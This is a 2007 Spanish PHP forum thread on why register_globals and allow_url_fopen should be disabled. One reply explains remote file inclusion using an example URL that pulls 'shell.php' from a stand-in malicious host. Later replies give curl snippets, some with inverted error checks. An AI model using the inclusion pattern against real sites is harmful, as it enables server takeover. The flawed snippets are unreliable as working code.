elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  seguridad en php
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: seguridad en php  (Leído 6,939 veces)
bruj0

Desconectado Desconectado

Mensajes: 111


Iori Yagami


Ver Perfil
seguridad en php
« en: 23 Enero 2007, 01:28 am »

Hola, he estado leyendo sobre el tema de la seguridad en php, pero hay cosas que no he entendido bien. He leido en varios sitios que para aumentar la seguridad hay que tener deshabilitado allow_url_fopen y no entiendo porque realmente. Esto no es para que el servidor apache te permita tratar las URL como ficheros? Entonces como aumenta la seguridad si está off ?

Otra cosa que no entiendo es que tambien recomiendan desactivar register_globals, tampoco entiendo porque dejando esto en off aumenta la seguridad del servidor; ya que el impedimento que le veo a esto esque no se pueden pasar variables atraves de la url.


En fin , me gustaría que alguien me explicara esto un poco mas afondo, gracias


En línea

alone-in-the-chat


Desconectado Desconectado

Mensajes: 587


Ver Perfil
Re: seguridad en php
« Respuesta #1 en: 23 Enero 2007, 02:23 am »

Primero lo de register_globals Se tiene que tener deshabilitado  para que obliguen al programador a manejar las variables que lleguen por el metodo POST o GET de la sgte forma
Código:
$_POST['variable']

$_GET['variable']

si el programador manejase una variable llamada "variable" en su sitio y la
usara para realizar un include algo asi
Código:
include($variable);
si register_globals estuviese habilitado tu podrias acceder a la pagina de esta manera http://www.pagina.com?variable=http://www.webmaliciosa.com/shell.php
y el include se haria del archivo shell.php
 mejor dicho incluirias codigo malicioa en tu pagina
pero si register_globals estuviese en off esto no funcionaria por que deberia haber un include de la forma 

Código:
include($_GET['variable']);
y eso es muy poco visto ;)
ahora mira allow_url_fopen
deshabilita las url remotas en funciones como fopen , file_get_contents, etc
por ejemplo tu no podrias hacer esto
Código:
fopen("http.//www.webmaliciosa.com/shell.php","r")
file_get_contents("http.//www.webmaliciosa.com/shell.php")

Espero haberte ayudado aunque sea un poco
Saludos.




En línea

Because maybe
You're gonna be the one that saves me
And after all
You're my wonderwall
d[n_n]b
bruj0

Desconectado Desconectado

Mensajes: 111


Iori Yagami


Ver Perfil
Re: seguridad en php
« Respuesta #2 en: 23 Enero 2007, 02:33 am »

ahora mira allow_url_fopen
deshabilita las url remotas en funciones como fopen , file_get_contents, etc
por ejemplo tu no podrias hacer esto
Código:
fopen("http.//www.webmaliciosa.com/shell.php","r")
file_get_contents("http.//www.webmaliciosa.com/shell.php")

Espero haberte ayudado aunque sea un poco
Saludos.


Sigo sin entender esto, pero esto en el caso de estar habilitado comprometeria la seguridad de otros servidores no del tuyo no? pq con esto lo que haces es que tu puedas tratar urls externas como ficheros y no alreves. O esque no lo estoy entendiendo bien??
En línea

alone-in-the-chat


Desconectado Desconectado

Mensajes: 587


Ver Perfil
Re: seguridad en php
« Respuesta #3 en: 23 Enero 2007, 02:45 am »

el allow_url_fopen  permite eso de arriba de incluir codigo de otros sitios en tu pagina web
deshabilitado esa opcion y la de register global en off seria un poco mas complicado que ataquen tu pagina con RFI
Saludos
En línea

Because maybe
You're gonna be the one that saves me
And after all
You're my wonderwall
d[n_n]b
bruj0

Desconectado Desconectado

Mensajes: 111


Iori Yagami


Ver Perfil
Re: seguridad en php
« Respuesta #4 en: 23 Enero 2007, 04:04 am »

entonces teniendo allow_url_fopen desactivado del servidor, como se podria hacer para comprobar por ejemplo si existe una imagen fuera del servidor?  pq yo antes esto lo hacia con

Código:
if ($file = fopen( "http://www.google.es/imagen.jpg",  "r"))
echo "si";
else
echo "no":

pero teniendo esto desactivado no se como hacerlo
En línea

Ertai
Colaborador
***
Desconectado Desconectado

Mensajes: 2.025


Ralph Wiggum


Ver Perfil
Re: seguridad en php
« Respuesta #5 en: 23 Enero 2007, 12:23 pm »

Usando sockets en php se podría, aunque es mucho lío.

Si te interesa te puedo pasar alguna dirección para aprender.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
bruj0

Desconectado Desconectado

Mensajes: 111


Iori Yagami


Ver Perfil
Re: seguridad en php
« Respuesta #6 en: 23 Enero 2007, 14:22 pm »

Si, pasame lo que tengas al respecto porfavor.

He encontrado una libreria que se llama CURL que maneja URLS y te permite leer por ejemplo webs aun teniendo allow_url_fopen off. Tambien se pueden copiar ficheros externos a tu servidor pero lo que no se es como verificar si el archivo que pretendes copiar existe o no. La función que he encontrado para copiar una imagen a tu server sería asi:

Código:
<?
function recibe_imagen ($url_origen,$archivo_destino){
$mi_curl = curl_init ($url_origen);
$fs_archivo = fopen ($archivo_destino, "w");
curl_setopt ($mi_curl, CURLOPT_FILE, $fs_archivo);
curl_setopt ($mi_curl, CURLOPT_HEADER, 0);
curl_exec ($mi_curl);
curl_close ($mi_curl);
fclose ($fs_archivo);
}
?>

Con esto copias la url_oringen a un destino en tu server, pero claro, si no existe el origen te crea un archivo de 1kb con el nombre de destino, con lo cual es una chapuza. Alguno sabría como hacer la verificación de que el archivo que pretendes copiar existe?
En línea

alone-in-the-chat


Desconectado Desconectado

Mensajes: 587


Ver Perfil
Re: seguridad en php
« Respuesta #7 en: 23 Enero 2007, 15:39 pm »

te haces mucho lio si lo que deseas es usar curl para bajarte el contenido de una archivo puedes hacerlo asi
Código:
$ch = curl_init();
$url = "http://www.misitio.com/index.html"
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$file = curl_exec($ch);
if ($file != "")
{
$fs_archivo = fopen ($archivo_destino, "w");
fwrite($fs_archivo,$file);
fclose ($fs_archivo);
}else{
echo curl_error($ch);
}
El curl es un agente de internet no solo te permite establecer conexion http si no tb ftp , https , etc , y es una de las mejores extensiones del php.
mandame un privado x alli tengo una edicion del php architect con mucha informacion del curl
Saludos,.
En línea

Because maybe
You're gonna be the one that saves me
And after all
You're my wonderwall
d[n_n]b
bruj0

Desconectado Desconectado

Mensajes: 111


Iori Yagami


Ver Perfil
Re: seguridad en php
« Respuesta #8 en: 23 Enero 2007, 16:56 pm »

Mandame toda la documentación que tngas si puedes alone.

El codigo que has puesto no es correcto ya que $file siempre va a ser distinto de "", ya que si la ruta es incorrecta te devuelve una pagina de error.

Estoy haciendolo de otra manera y creo q casi lo tengo, a ver si posteo en cuanto lo tnga el codigo
En línea

alone-in-the-chat


Desconectado Desconectado

Mensajes: 587


Ver Perfil
Re: seguridad en php
« Respuesta #9 en: 23 Enero 2007, 17:02 pm »

xDº ok entonces
trabaja con el valor de curl_error(); o curl_errno(); que te devuelve 0 en caso no haya ningun error :P
je si lo de file se me paso
voy a buscar la e-zine en si
Código:
if (curl_errno($ch) != 0)
{
$fs_archivo = fopen ($archivo_destino, "w");
fwrite($fs_archivo,$file);
fclose ($fs_archivo);
}else{
echo curl_error($ch);
}
En línea

Because maybe
You're gonna be the one that saves me
And after all
You're my wonderwall
d[n_n]b
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines